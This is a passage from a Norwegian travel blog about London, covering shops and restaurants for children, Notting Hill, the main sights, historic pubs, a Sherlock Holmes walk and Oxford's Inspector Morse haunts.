man-l\u00f8r  \nN\u00e6rmeste tube: Goodge Street  \nKl\u00e6r til barn finnes i de fleste st\u00f8rre varehus som Marks & Spencer og BhS, men kjedebutikker som Gap og Next har ogs\u00e5 godt utvalg. Dyrere barnet\u00f8y finner du i de store magasinene som Selfridges, Harrods og Harvey Nichols. Barnet\u00f8y i England er forresten tax-free for alle.\n\nLeker er en helt annen sak. Hamleys i Regent Street bare M\u00c5 bes\u00f8kes. Her er det syv etasjer proppfulle av leker, fra Action Man til Barbie til Paddingtonbj\u00f8rnen. Her kan timer brukes p\u00e5 \u00e5 g\u00e5 igjennom \u00f8nskelisten til jul. Rundt i butikken st\u00e5r ekspedit\u00f8rene og tester ut lekene. Ikke den verste jobben du kan ha ved siden av studiene \u2026 Visste du forresten at denne britiske institusjonen i dag eies av en islending?\n\nEllers har selvf\u00f8lgelig amerikanerne gjort sitt inntog med Disneystore rett ved siden av Hamleys. Donald Duck genser, Minnie Mus pysj, Disneyfilmer, Langbeinkrus og mye annet dill som gir barn stjerner i \u00f8ynene.\n\nLeket\u00f8ysavdelingen p\u00e5 Harrods  \nN\u00e5r barna vil shoppe:  \nSett av et par timer til \u00e5 g\u00e5 i lekeavdelingen p\u00e5 Harrods. Hvem har vel ikke sett reportasjene fra den fantastiske lekeavdelingen p\u00e5 Harrods? Med fare for at \u00f8ynene triller ut, la minstemann f\u00e5 oppleve sitt shoppingparadis.  \nVaremagasinet er \u00e5pent fra kl 10-18 hver dag.  \nHarrods Ltd., 7-135 Brompton Road, tlf.nr. 20-7730 1234.\n\nRegents Park og Kensington Gardens.  \nRolig kosetur i en av Londons fasjonable parker med noe godt i h\u00e5nden; Kandiserte mandler, ristede kastanjer eller luksuri\u00f8s konfekt.\n\nAT FOR DE MINSTE  \nLondons mange tusen restauranter serverer mat fra 60 nasjonale kj\u00f8kken. Men det passer sjelden \u00e5 ta barn med p\u00e5 restauranter med hvite duker og langdryge treretters middager. Det er likevel nok \u00e5 velge i for barnefamilier.\n\nHamley's, Metropolis & Massarellas, 188-96 Regent Street. Mer enn 100 Sega-spill i restauranten holder barna engasjert mens foreldrene velger fra menyen best\u00e5ende av salat, suppe, chips og burgere.  \nTube: Piccadilly Circus.\n\nFootball Football, 57-60 Haymarket. Gir en \u00abtotal fotballopplevelse\u00bb hvor barna kan oppleve historiske m\u00e5l og kamper mens de spiser pizza, pasta, burger og chips.  \nTube: Piccadilly Circus.\n\nHard Rock Cafe, 180 Old Park Lane. Legendarisk, amerikansk burger-bar som reklamerer med \u00e5 ha verdens st\u00f8rste samling av minneverdige gjenstander fra rockeverdenen.  \nTube: Hyde Park Corner.\n\nPlanet Hollywood, Trocadero, Piccadilly. Barn og ungdom elsker den h\u00f8ye musikken, interi\u00f8ret og samlingen av gjenstander fra filmhistorien.\n\nRainforest Cafe, 20 Shaftesbury Avenue. Popul\u00e6r burger-restaurant med sydlandske juicer. Innredet som en regnskog, hvor apekatter og papeg\u00f8yer \u00absvinger\u00bb seg i taket og vakre gullfisk sv\u00f8mmer i akvariet.  \nTube: Piccadilly Circus.\n\nSticky Fingers, 1 a Phillimore Gardens. Amerikansk inspirert hamburger-bar med pop-effekter og gullplater p\u00e5 veggene. Eies av eks-Rolling Stones-bassist Bill Wyman. Popul\u00e6r blant barn og pop-stjerner.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Shopping Notting Hill London\n\nEr du i London, s\u00e5 gj\u00f8r som Julia Roberts i filmen \u00abNotting Hill\u00bb. Spander en dag i denne lille \u00e5sen der de rike lever side om side med de kuleste fattige.\n\nJulia Roberts spiller en filmstjerne p\u00e5 handletur i omr\u00e5det rundt Portobello Road i Notting Hill. Ogs\u00e5 i virkelighetens Notting Hill er sjansen stor for at du vil l\u00f8pe p\u00e5 en kjendis eller to. Madonna, Jack Nicholson, George Michael og Liam Gallagher er bare noen av dem som er observert her.  \nGwyneth Paltrow feiret bursdagen sin p\u00e5 hypertrendy Pharmacy restaurant, og Stella McCartney, John Cleese og Damon Albarn bor her.\n\nDet gj\u00f8r ogs\u00e5 Richard Curtis, som har skrevet manus og er produsent for filmen \u00abNotting Hill\u00bb. Handlingen er lagt til bokhandelen der Curtis selv er stamkunde, og som Hugh Grant driver i filmen.  \nMens den virkelige bokhandelen har v\u00e6rt en suksess, er Hugh Grants bokhandel et rotehull som g\u00e5r med underskudd.\n\n**Lekeplass for de rike**\n\nFra \u00e5 v\u00e6re et omr\u00e5de der ingen velsituerte mennesker ville sette sin fot for 20 \u00e5r siden, har Notting Hill blitt en lekeplass for de rike. Kunstneriske pengelense folk flyttet inn, etterfulgt av rikmannsbarn som tilbrakte et par ville \u00e5r her, f\u00f8r de slo seg til ro. Etter hvert ble hus pusset opp, og de dyre butikkene flyttet inn.\n\nN\u00e5 er innbyggerne bekymret for at det som gj\u00f8r omr\u00e5det interessant \u2013 blandingen av forskjellige folk og rare butikker \u2013 vil forsvinne med stigende huspriser. Og at folk, som dem du m\u00f8ter i filmen \u00abNotting Hill\u00bb, ikke lenger vil ha r\u00e5d til \u00e5 bo her.\n\nN\u00e5 blir nemlig eiendomsmeglere i Notting Hill ringt opp av amerikanere som har sett filmen, og \u00f8nsker seg store luftige leiligheter etter amerikansk format, med utsikt til Buckingham Palace. Men det finnes ikke her. Bydelen har Londons typiske h\u00f8ye, tynne \u00abtownhouse\u00bb fra midten av forrige \u00e5rhundre, beliggende p\u00e5 en \u00abhill\u00bb de fleste nordmenn ville kalle en slak bakke, uten noen utsikt \u00e5 snakke om.\n\nDesignerne har flyttet inn i det dyre omr\u00e5det n\u00e6r Notting Hill undergrunnsstasjon. I den andre enden av Portobello Road lever folk fortsatt i enklere k\u00e5r. Dette er den enden de fleste turister ikke finner.\n\nHer oppe ligger den lille franske bistroen Marche aux Puces (Loppemarked), med sine lokale stamgjester, som Hilal. Han tilbringer dagene her med \u00e5 lese poesib\u00f8ker han har kj\u00f8pt i bruktbokhandelen ved siden av. I sidegaten Golbourne Road ligger antikvitetsbutikker, marokkanske matbutikker, portugisiske kafeer, fiskebutikker og en moske i herlig blanding.\n\n**Rik p\u00e5 karakter**\n\nOg p\u00e5 hj\u00f8rnet ligger Portfolio, postkortbutikken som ble brukt som restaurant i \u00abNotting Hill\u00bb. Her kan man ogs\u00e5 treffe p\u00e5 stedets egen taxisj\u00e5f\u00f8r, som bare kaller seg Chinaman, og bor i Mercedes'en han kj\u00f8rer.\n\n\u2013 Jeg m\u00e5tte velge mellom hus og bil, og da ble det bil f\u00f8rst, sier han.\n\nButikken RR Thackeray har solgt dyremat siden 1862, men det mest spennende med Reginald Raymonds butikk er det den ikke selger: et utrolig utvalg av gamle leker som fyller opp mesteparten av butikken.\n\n\u2013 Jeg fikk navnet fordi faren min ville ha et navn med initialene RR, det samme som Rolls-Royce, sier Reginald Raymonds.\n\nDet er ikke bare Julia Roberts og Hugh Grant som har filmet i Notting Hills gater. Den dagen VG er p\u00e5 bes\u00f8k, er det ogs\u00e5 filming p\u00e5 gang. I et veikryss midtveis i Portobello Road holder den kjente britiske skuespilleren Brenda Blethyn p\u00e5 \u00e5 regne bort.\n\nNoen av de innf\u00f8dte begynner \u00e5 bli mektig lei av at filmfolk tar seg til rette. Det g\u00e5r en historie fra opptakene til \u00abNotting Hill\u00bb:  \nRikt og rart i Notting Hill. Rike og fattige lever side om side i denne byen. Denne mannen bor i bilen. Foto: Jan Johannesen  \nDe skulle skyte en scene i Portobello Road, og alt var klart. Idet de skal til \u00e5 begynne, dr\u00f8nner musikk ut fra et \u00e5pent vindu. Etter at alle fors\u00f8k p\u00e5 \u00e5 forhandle med mannen ikke f\u00f8rer frem, blir Julia Roberts sendt opp, og lykkes i sine overtalelser. Men da de fors\u00f8ker p\u00e5 nytt, skrur naboen igjen volumet opp \u2013 med beskjed om at han ikke akter \u00e5 skru av f\u00f8r han har h\u00f8rt satsen ferdig. Notting Hill er en bydel rik p\u00e5 karakterer.\n\n**Shopping i Notting Hill**\n\nBrukt og antikk til en rimelig penge i nordenden av Portobello Road og sidegaten Golbourne Road. Pr\u00f8v The Antique Clothing Shop.\n\nKl\u00e6r og antikviteter for fete lommeb\u00f8ker i Westbourne Grove. Klesdesigneren Paul Smiths nye butikk b\u00f8r bes\u00f8kes. The Cross i Portland Road har godt utvalg i pashminasjal for den som synes \u00aballe\u00bb har kashmir, og at fire tusen kroner er en grei pris for et sjal.\n\n**Spise ute i Notting Hill**\n\nOmr\u00e5det har et utall puber og restauranter, mange mellom Portobello Road og Westbourne Park Villas, som ligger helt oppe ved Royal Oak undergrunnsstasjon. Det l\u00f8nner seg \u00e5 bestille p\u00e5 forh\u00e5nd.\n\nby email@example.com - 27. november 2015\n\n## Aktiviteter i London\n\nLondon b\u00e6rer fremdeles preg av tiden da byen ved Themsen var senter i verdens st\u00f8rste imperium og ufattelige rikdommer str\u00f8mmet inn fra koloniene. I dag str\u00f8mmer turister fra hele verden til byen for \u00e5 shoppe, oppleve folkelivet, for \u00e5 se byens store kunstsamlinger, og enten man vil g\u00e5 p\u00e5 teater, musikal, fotballkamp eller konsert, har London det beste av det beste.  \nLondon blir ofte sammenlignet med en klynge landsbyer tett i tett. Byen er en mangfoldighet av nabolag med hvert sitt preg. I det politiske sentrum ligger Westminster og Whitehall med parlamentet og Buckingham Palace. City of London er byens finansielle sentrum med St. Paul?s og Tower of London.Soho er kjent for sine puber, klubber og kafeer. I Bloomsbury ligger British Museum. Chelsea har King?s Road med sine fasjonable motebutikker. I West End ligger handlegatene Oxford Street, Bond Street, Regent Street og Piccadilly. Og i det multietniske Notting Hill ligger Portobello Road med sitt kjente marked.\n\n**Historie  \n**Omkring 50 e.Kr. ble den romerske havnebyen Londinium grunnlagt p\u00e5 den nordlige bredden av Themsen. Den gunstige beliggenheten gjorde byen til et viktig handelssentrum.  \nFra 800-tallet og utover ble byen gjentatte ganger herjet av danske og norske vikinger som kom seilende i langskip p\u00e5 jakt etter rask fortjeneste. Den siste normannerinvasjonen fant sted i 1066, da Vilhelm Erobreren vant slaget ved Hastings og overtok makten i landet.  \nAllerede samme \u00e5r ble byggingen av Tower of London p\u00e5begynt. P\u00e5 1100-tallet ble Westminster sete for regjeringen, og senere ogs\u00e5 for parlamentet. Tradisjonen med feiringen av Guy Fawkes? Day stammer fra 1605. Guy Fawkes var leder av Kruttsammensvergelsen, som fors\u00f8kte \u00e5 sprenge parlamentet i luften.  \nI 1665 ble byen rammet av pest. 70 000 av byens innbyggere str\u00f8k med. \u00c5ret etter, 1666, rammet den store bybrannen. Bare en femdel av byen sto igjen etter at 13 200 hus og 84 kirker var blitt flammens rov. Tross pest og brann gikk London inn i en dynamisk tid med vekst og ekspansjon. P\u00e5 slutten av 1800-tallet var London ikke bare verdens st\u00f8rste by, men ogs\u00e5 verdens ledende handels-, finans-, industri- og havneby.  \nFlere titalls byer har n\u00e5 passert London i st\u00f8rrelse. Men byen er fortsatt blant de viktigste byene i Europa.\n\n**Tower of London  \n**Tower of London er Englands best bevarte middelalderfestning. Den sentrale delen av festningen, The White Tower, sto ferdig omkring 1097. Gjennom byens historie har festningen tjent som kongebolig, v\u00e5penlager, fengsel og oppbevaringssted for kongehusets kronjuveler.\n\n\u00a0\nKronjuvelene er utstilt i Jewel House. Vanligvis omfatter utstillingen ti kroner. En av kronene, The Imperial State Crown, brukes av dronningen ved \u00e5pningen av parlamentet. Den er dekorert med 237 perler og 2800 diamanter.  \nTil riksregaliene h\u00f8rer ogs\u00e5 rikseplet, septeret, kroningsringene og statssverdet. Rikseplet er en hul gullkule dekket med juveler. Det veier 1,3 kilo. Septeret er dekorert med verdens st\u00f8rste slepne diamant, \u00abFirst Star of Africa\u00bb. Den veier 530 karat. F\u00f8r slipingen veide den 3106 karat.  \nRustningskammeret, Armour Gallery, inneholder v\u00e5pen og rustninger fra Tudor- og Stuart-tiden. Her kan man se den forgylte rustningen til Karl 1., en annen som har tilh\u00f8rt Henrik 8., og en japansk \u00abfantasy-rustning\u00bb som Jakob 1. fikk i gave i 1613.\n\n\u00a0\n**Palace of Westminster**Westminster-palasset, ogs\u00e5 kjent under betegnelsen Houses of Parliament, har v\u00e6rt Englands parlamentsbygning siden 1512. Nasjonalforsamlingen best\u00e5r av Underhuset, som m\u00f8ter i Commons? Chamber, og Overhuset for lordene, som m\u00f8tes i Lord?s Chamber.  \nWestminster Hall er den eneste delen av det opprinnelige Westminster-palasset. Resten brant i 1834. Det nye Westminster ble oppf\u00f8rt i gotisk stil med et mangfold av t\u00e5rn og slanke spir. I det h\u00f8yeste t\u00e5rnet henger Big Ben. Klokken har navn etter Sir Benjamin Hall, som hadde ansvaret for arbeidet med \u00e5 heise den 13,8 tonn tunge klokken p\u00e5 plass i 1858.\n\n**Westminster Abbey **Westminster Abbey har siden 1066 v\u00e6rt kroningskirke og begravelseskirke for det engelske kongehus og for landets mest fremtredende politikere og diktere. De eldste delene av kirken er fra 900-tallet. Det 31 meter h\u00f8ye midtskipet ble p\u00e5begynt i 1245. Vestfrontens to t\u00e5rn ble reist p\u00e5 midten av 1700-tallet.  \nBlant kirkens toppseverdigheter er den engelske kroningsstolen. Stolen ble laget i 1301, etter erobringen av Skottland. Av utseende er det en temmelig enkel sak med h\u00f8y rygg og fire l\u00f8vef\u00f8tter. Kirken inneholder mer enn 5000 graver, monumenter og minnesmerker over landets fremste kvinner og menn. Charles Darwin, David Livingstone, Isaac Newton, Oliver Cromwell og en ukjent soldat h\u00f8rer til blant de mange som er gravlagt i Westminster Abbey. Poet?s Corner har minnesmerker over Englands st\u00f8rste diktere og poeter, blant annet Shakespeare, Byron og Dickens.\n\n**St. Pauls katedral **Blant de mange kirker og monumenter som ble gjenoppf\u00f8rt etter bybrannen i 1666, er St. Paul?s den st\u00f8rste og vakreste. Kuppelen som hever seg over kirken, er 111 meter h\u00f8y og har en diameter p\u00e5 32 meter. P\u00e5 innsiden av kuppelen er Whispering Gallery, kjent for sin eksepsjonelle akustikk. En trapp med 259 trinn leder opp til galleriet.  \nLiksom Westminster Abbey blir ogs\u00e5 St. Paul?s brukt som begravelseskirke for fremst\u00e5ende personer som sj\u00f8helten Lord Nelson og Wellington, h\u00e6rf\u00f8reren som slo Napoleon ved Waterloo.\n\n**Historiske puber **Pub er en forkortelse for Public House, et sted hvor man g\u00e5r for \u00e5 m\u00f8te venner, drikke og kanskje innta et m\u00e5ltid. If\u00f8lge byens turistmyndigheter er det om lag 5000 puber i London. Mange av pubene har en lang historie. Ye Olde Cheshire Cheese i Fleet Street var gammel allerede p\u00e5 den tiden da Charles Dickens og Mark Twain stakk innom for \u00e5 slokke t\u00f8rsten. Puben har beholdt den gamle stilen med sm\u00e5 rom innredet med benker og peiser og med sagflis p\u00e5 gulvet.  \nMagpie and Stump ligger rett overfor rettsbygningen Old Bailey i City, som er bygd p\u00e5 stedet hvor Newgate Prison en gang sto. Frem til 1868, da man sluttet med offentlige henrettelser foran fengselsportene, kunne puben by p\u00e5 en spesiell henrettelsesfrokost.  \nBunch of Grapes i Southwark har bevart de gamle skjermbrettene, s\u00e5kalte Snob-screens, som var vanlige i pubene tidligere. Bak disse kunne overklassen helle nedp\u00e5 sine drinker uten \u00e5 bli sett av tjenerskapet.  \nAnchor Bankside i Park Street ser ut som da puben \u00e5pnet i 1770, mens resten av Bankside-distriktet har endret seg til det ugjenkjennelige.  \nThe Gun, i Cold Harbour ved Themsen, var pub for havnearbeiderne. Den er innredet med antikke maritime gjenstander, og byr p\u00e5 den aller beste utsikt mot byens nye landemerke, Millennium Dome.\n\n**Teater **Londons West End har noen av verdens beste ensembler og byr p\u00e5 et enest\u00e5ende mangfold av teateropplevelser. Teatrene er glamor\u00f8se, og teaterplakatene er overstr\u00f8dd med kjente navn.  \nDe st\u00f8rste kommersielle teatrene ligger i Shaftesbury Avenue, Haymarket, Covent Garden og Charing Cross. Flere av teatrene er historiske landemerker, som det klassiske Theatre Royal Drury Lane, som ble grunnlagt i 1663.  \nThe Royal Shakespeare Company, Storbritannias nasjonale teaterkompani, holder til i Barbican Centre. Ved siden av Shakespeare setter de ogs\u00e5 opp greske tragedier, Ibsen, og iblant mer moderne stykker. William Shakespeares eget teater, The Globe, ble \u00e5pnet i London i 1599. Det nye Shakespeare?s Globe Theatre er en tro kopi av det gamle Globe, som stengte d\u00f8rene for godt i 1642. Ettersom teateret mangler tak, er det forestillinger bare i sommerhalv\u00e5ret.  \nTeaterstykket The Mousetrap av Agatha Christie hadde premiere p\u00e5 St. Martin?s Theatre den 25. november 1952. Etter mer enn 20 000 oppsetninger g\u00e5r stykket fremdeles, og har for lengst satt verdensrekord i spilletid.  \nI Theatre Museum i Covent Garden kan man studere gamle kulisser, kostymer, rekvisitter og plakater fra London-teatrenes fargerike historie. En egen utstilling med modeller viser hvordan selve teateret har utviklet seg siden Shakespeares tid.\n\n**Trafalgar Square **Trafalgar Square er en av Londons f\u00e5 offentlige plasser, og et naturlig startsted for demonstrasjoner og stoppested for turister. Hver jul tennes den norske julegranen p\u00e5 Trafalgar Square. Nytt\u00e5rsaften er plassen til vanlig tettpakket med feststemning. Ved overgangen til 2003 fikk terrorfrykten satt en forh\u00e5pentlig midlertidig stopper for denne tradisjonen.  \nMidt p\u00e5 plassen st\u00e5r en 52 meter h\u00f8y granitts\u00f8yle. P\u00e5 denne st\u00e5r en fem meter h\u00f8y statue av sj\u00f8helten Lord Nelson. Fire bronsel\u00f8ver vokter sj\u00f8helten som d\u00f8de under slaget ved Trafalgar i 1805. Relieffene p\u00e5 monumentets fotstykke er st\u00f8pt av franske kanoner.  \nP\u00e5 nordsiden av Trafalgar Square ligger National Gallery.\n\n**Tate **Det f\u00f8rste Tate Gallery ble grunnlagt i 1897 av kunstelskeren Sir Henry Tate, oppfinneren av sukkerbiten. I 1990-\u00e5rene, da kunstsamlingene vokste galleriet over hodet, ble Tate delt i to. Tate Britain har verdens st\u00f8rste samling av britisk malerkunst fra 1550 og frem til nyere tid.  \nTate Modern holder til i den nedlagte kraftstasjonen Bankside Power Station like ved Globe-teateret og St. Paul?s-katedralen. Galleriet har en fremragende samling av malerkunst og skulpturer fra 1900-tallet. De enorme utstillingshallene inneholder det meste innen abstrakt kunst (representert med verk av Kandinskij med flere), surrealisme (Picasso, Mir\u00f3 og Dal\u00ed med flere), ekspresjonisme (blant annet Edvard Munch), popkunst (Andy Warhol og Liechtenstein) og minimalisme (blant annet representert ved Carl Andr\u00e9s firkantede stabel av murstein).  \nI toppetasjen ligger en kaffebar med utsikt mot St. Paul?s og sentrum, og et kart som forteller hvilke bygninger som stikker opp i ulike retninger.\n\n**British Museum **British Museum, grunnlagt i 1753, er et av verdens fremste museer. Samlingene teller hundretusener av gjenstander fra hele menneskehetens historie og forhistorie. Mange av museets skatter er hentet fra land som Hellas, Irak, Egypt og India, p\u00e5 et tidspunkt da disse landene verken hadde selvstendighet eller evne til \u00e5 beskytte sine store kunst- og kulturskatter. Flere av landene krever n\u00e5 \u00e5 f\u00e5 tilbake de nasjonale skattene som befinner seg i vestlige museer.  \nBlant de mest omstridte gjenstandene i British Museum er Elgin Marbles. Det 152 meter lange relieffb\u00e5ndet med guder og helter fra Partenon i Athen ble plukket ned av Lord Elgin i 1802 og senere solgt til British Museum. Greske myndigheter har krevd relieffb\u00e5ndet tilbake.  \nRosetta-steinen ble funnet av Napoleons soldater under den franske invasjon i Egypt p\u00e5 slutten av 1700-tallet. Kort etter invaderte England, og dermed havnet det meste av de \u00abfransk-egyptiske\u00bb samlingene i British Museum. Teksten p\u00e5 Rosetta-steinen er skrevet med tre ulike skriftsystemer; \u00e9n er skrevet med tradisjonelle hieroglyfer, en annen med \u00abforenklede\u00bb hieroglyfer, og en tredje med greske bokstaver. De tre innskriftene bidro til l\u00f8sningen av hieroglyfenes g\u00e5te.  \nDen fremste skatten fra Irak er mosaikken fra kongegravene i Ur. Mosaikken ble laget omkring 2500 f.Kr. Dens tema, en h\u00e6r p\u00e5 vei til krig, er like aktuelt i dag som den gang. Det er lite trolig at Irak f\u00e5r skattene fra kongegravene tilbake med det f\u00f8rste.  \nDen runde lesesalen i British Museum er en severdighet for bibliofile. Kuppelen over de 375 lesesalsplassene har en diameter p\u00e5 43 meter, og er s\u00e5ledes st\u00f8rre enn kuppelen over Peterskirken i Roma. Hyllene langs veggene er tettpakket med b\u00f8ker.\n\n**Karl Marx i London  \n**Karl Marx emigrerte til England i 1849. Resten av sitt liv bodde han i London. Dagene ble for det meste tilbrakt p\u00e5 den n\u00e5 nyrestaurerte lesesalen i British Museum, hvor han bl.a. skrev sitt hovedverk Kapitalen.  \nEtter sin d\u00f8d i 1883 ble Marx gravlagt p\u00e5 Highgate Cemetery nord for sentrum. Han ligger under en gigantisk byste som p\u00e5 orwellsk vis bekrefter at selv om alle skal v\u00e6re like, vil det alltid v\u00e6re noen som er likere enn andre.\n\n**Mennesker og historie i voks **Madame Tussauds karriere begynte under den franske revolusjon, da hun ble satt til \u00e5 lage d\u00f8dsmasker av kjente mennesker som ble d\u00f8mt til d\u00f8den. Noen \u00e5r senere pakket hun maskene og dro til London. I 1830 grunnla hun Madame Tussauds vokskabinett med legemsstore voksfigurer av ber\u00f8mte samtidige og av fremstillinger av historiske begivenheter. Siden har samlingene vokst seg store, og det samme har k\u00f8ene utenfor vokskabinettet i Marylebone Road.  \nEt annet vokskabinett er London Dungeon, et dystert museum for skrekk og gru som skildrer de blodigste hendelsene i britisk historie. Med dukker som hos Madame Tussaud og tilh\u00f8rende lydeffekter vises \u00ablevende\u00bb fremstillinger av menneskeofring ved Stonehenge, historiske mord, inkludert Jack the Rippers ofre, og der er blodig tortur, halshogginger og offentlige hengninger.\n\n**London Eye **Verdens st\u00f8rste pariserhjul, London Eye, ble oppf\u00f8rt ved Westminster Bridge til feiringen av tusen\u00e5rsskiftet. En tur i London Eyes glassgondoler byr p\u00e5 superb utsikt over byen. Rundetiden er 30 minutter, og pariserhjulet har en kapasitet p\u00e5 2500 passasjerer p\u00e5 hver tur. Fra rundturens h\u00f8yeste punkt, 135 meter over Themsen, kan man p\u00e5 en fin klarv\u00e6rsdag se 40 kilometer ut over det flate landskapet omkring London.\n\n\u00a0\n\n**Annet av interesse**\n\nNational Portrait Gallery\n\nved Trafalgar Square er en vandring gjennom landets historie. Portrettene henger i kronologisk orden. Blant de eldste bildene henger seriepolygamisten Henrik 8. og noen av hans koner.\n\n**Royal Albert Hall** i Kensington har 8000 sitteplasser under en 40 meter h\u00f8y kuppel av jern og glass. Dronning Victoria la ned grunnsteinen i 1867, og byggingen ble delvis finansiert ved at faste plasser ble solgt for perioder p\u00e5 999 \u00e5r.\n\n**Tower Bridge**, Londons kjente landemerke, sto ferdig i 1894. Med sine t\u00e5rn og spir ligner Tower Bridge mer p\u00e5 en middelalderborg enn en moderne bro.\n\n**Monument**, like nord for London Bridge, er en 61 meter h\u00f8y frittst\u00e5ende steins\u00f8yle, reist til minne om brannen i 1666 som la det meste av London i aske.\n\n**Staple Inn** i Holborn er Londons eneste gjenv\u00e6rende bindingsverkshus fra f\u00f8r brannen i 1666.\n\n**Marble Arch** ble oppf\u00f8rt i 1828 som hovedportal til Buckingham Palace. Da det viste seg at portalen var for smal for den kongelige seremonivognen, ble den flyttet til toppen av Park Lane.\n\n**Cabinet War Rooms** nord for Parliament Square st\u00e5r som da krigen sluttet i 1945, med telefoner p\u00e5 bordene og kart p\u00e5 veggene.\n\n**Kew Gardens**, i den vestlige utkanten av London, ble grunnlagt p\u00e5 slutten av 1700-tallet. Med sine mer enn 40 000 ulike planteslag er hagen den mest komplette i sitt slag.\n\n**The Old Operating Theatre** i Southwark har en operasjonssal for kvinner som er rekonstruert som den s\u00e5 ut p\u00e5 1800-tallet f\u00f8r bed\u00f8velsesmidlenes tid, da man ble bundet til operasjonsbordet med bind f\u00f8r \u00f8ynene.\n\n**Baker Street 221b**, der Sir Arthur Conan Doyles ber\u00f8mte detektiv, Sherlock Holmes, hadde sin leilighet, ligger i Baker Street, mellom nr. 237 og 239.\n\n**Stanford?s**, i Long Acre i Covent Garden, er verdens st\u00f8rste forhandler av kart og reiseh\u00e5ndb\u00f8ker.\n\n**Science Museum** i South Kensington er et av verdens mest interaktive museer, til glede for gutter og jenter i alle aldrer. Gratis inngang\\!\n\n**London Toy and Model Museum** ved Kensington Gardens har et enormt antall dukker, leker og modeller fra 1700-tallet og frem til v\u00e5r tid. Museet har egne avdelinger for teddybj\u00f8rner, lekehus, biler og modelljernbaner.\n\n**Design Museum** p\u00e5 Butler?s Wharf var det f\u00f8rste i verden som spesialiserte seg p\u00e5 utformingen av dagliglivets bruksgjenstander.\n\n**0-meridianen** i Greenwich utenfor London er markert i brolegningen p\u00e5 g\u00e5rdsplassen til det gamle observatoriet. Flott park rundt meridianen.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## F\u00f8lg i fotsporene til Sherlock Holmes i London\n\nOveralt i London finner du spor av Sherlock Holmes. Men \u00e5 finne mesterdetektivens residens i Baker Street 221b er ikke lett. Baker Street 221 har alltid v\u00e6rt en imagin\u00e6r Holmes-adresse. Da Conan Doyle presenterte sin mesterdetektiv f\u00f8rste gang, gikk Baker Street visstnok bare til nr. 80\u2026\n\nDet f\u00f8rste m\u00f8te med mesterdetektiven f\u00e5r du allerede nede p\u00e5 Baker Street stasjon, hvor veggene er dekorert med hans profil.  \nVel oppe fra stasjonen, finner du en statue av helten. I sommersesongen vil du ogs\u00e5 treffe han rett utenfor stasjonen, hvor han deler ut kart og henvisninger til museet bort i gata.\n\nVel ute fra stasjonen, ser du statuen rett foran deg.  \nSer du til venstre, ser du Madame Tussauds. Rett foran deg har The Original Tours bussene stoppested.  \nTa til h\u00f8yre langs stasjonsbygningen til f\u00f8rste kryss.  \nSvinger du igjen til h\u00f8yre, er du n\u00e5 i Baker Street.\n\nMuseet og butikken ligger ett par hundre meter opp i gata, p\u00e5 VENSTRE side. P\u00e5 turen oppover vil du ogs\u00e5 passere den ber\u00f8mte Beatles butikken med masse morsomme og sjeldne klenodier. Ta deg en tur innom\\!\\!\n\nMen i dag kan du alts\u00e5 bese Holmes' trange, overm\u00f8blerte gemakker, der han huserte hos Mrs. Hudson i \u00e5rene 1881-1904. V\u00e6relsene, forbundet med en smal, knirkende tretrapp, er innredet som offisielt Sherlock Holmes-museum med suvenirbutikk i f\u00f8rste.\n\nSpaser f\u00f8rst oppover Baker Street og kikk inn i hotellet (det tidligere KFUK-hjemmet Bedford House) som b\u00e6rer Sherlock Holmes' navn.\n\nNeste stopp p\u00e5 turen er i Northumberland Avenue (ved Charing Cross T-banestasjon) \u2013 i puben Sherlock Holmes. Foran tappekranene st\u00e5r den mannevonde Hunden fra Baskerville betryggende utstilt i glass og ramme.\n\nMen det er alts\u00e5 i Baker Street 221b og deromkring at du kan se de fleste sporene etter Holmes og hans gode venn Dr. Watson. Her er fortsatt varmen fra peisgl\u00f8rne, skrivepulten, den slitte \u00f8relappstolen og forst\u00f8rrelsesglasset \u2013 og her er v\u00e6relsene virkelighetsn\u00e6rt befolket av rollefigurene i voks.  \nTa turen inn.\n\nI likhet med mange andre p\u00e5 \u00f8yriket liker Morse, Oxfords mest ber\u00f8mte detektiv, \u00e5 l\u00f8se kryssord. Nesten like mye som han liker \u00e5 drikke \u00f8l. For det er p\u00e5 puben at Morse tenker mest og best. Den perfekte lykken er \u00e5 sitte p\u00e5 en pub med en pint som andre har spandert p\u00e5 ham, samtidig som han l\u00f8ser kryssord.\n\nTusenvis av turister kommer hit hvert eneste \u00e5r for \u00e5 vandre i de samme gatene som Morse, drikke ekte \u00f8l i de samme pubene, og entre de samme portene inn til collegene. Bev\u00e6pnet med guideb\u00f8ker og kamera leter de entusiastisk etter Morses fotspor, i et fors\u00f8k p\u00e5 \u00e5 forst\u00e5 mer av hans liv. Et mysterium som de aldri oppklarer, er hvor ungkarshulen hans er.\n\nOxford b\u00f8r oppleves til fots, for her er mye \u00e5 se og mange historier som b\u00f8r lyttes til. 800 \u00e5rs fargerik historie, \u00e6rverdige universitetsbygninger, ber\u00f8mte personer, buktende kanaler og rare tradisjoner. Vi passerer Randolp Hotel i Beaumont Street. Bygningen ligger som et gotisk skrekk-kabinett fra en fjern fortid. Hotellet kan lokke med sin egen Morse Bar, men stedet har ikke den fornemme stilen som tidlig p\u00e5 1900-tallet, da den fristet gjestene med \u00abladies coffeeroom, night porter and American elevator\u00bb.\n\nEtt av vannhullene som Morse s\u00f8ker tilflukt i for \u00e5 la tankene str\u00f8mme, er The White Horse i Broad Street. I det som eieren hevder er byens minste, eldste og mest ber\u00f8mte pub kan du hvile deg fra turistene som flokker seg gjennom gatene.\n\nPuben har hatt mange navn opp gjennom \u00e5rene. F\u00f8r den fikk navnet White Horse, het den The Elephant.\n\nP\u00e5 White Horse sitter turistene og planlegger neste spasertur. Noen av dem legger ikke merke til skiltet som henger over d\u00f8ren p\u00e5 vei ut: Mind your head\\!\n\nOrdene som kommer etter de lave dunkene n\u00e5r hoder treffer bjelken over d\u00f8ren, avsl\u00f8rer at turistene kommer fra mange land.\n\nTradisjonsrike The Bear Inn i Alfred Street er en av byens minste puber. Her finnes trolig verdens st\u00f8rste samling av slips ? over 7000 stykker. Eieren Alan Course gjorde noe impulsivt en kveld p\u00e5 1950-tallet, som siden skulle bli en tradisjon: Han klippet av slipset til en av gjestene, uten \u00e5 sp\u00f8rre om lov f\u00f8rst. Siden har han svingt saksen med grasi\u00f8s presisjon.\n\nSom bel\u00f8nning for at du har bidratt til utsmykningen av puben, spanderer verten en halvliter.\n\nby email@example.com - 27. november 2015\n\n## 10 ting du bare m\u00e5 gj\u00f8re i London\n\n**1) God morgen \u2013 i Smithfield\u00a0**  \nDet er ikke gitt at alle synes dette er en flying start p\u00e5 en dag i London, men er du disponert for en 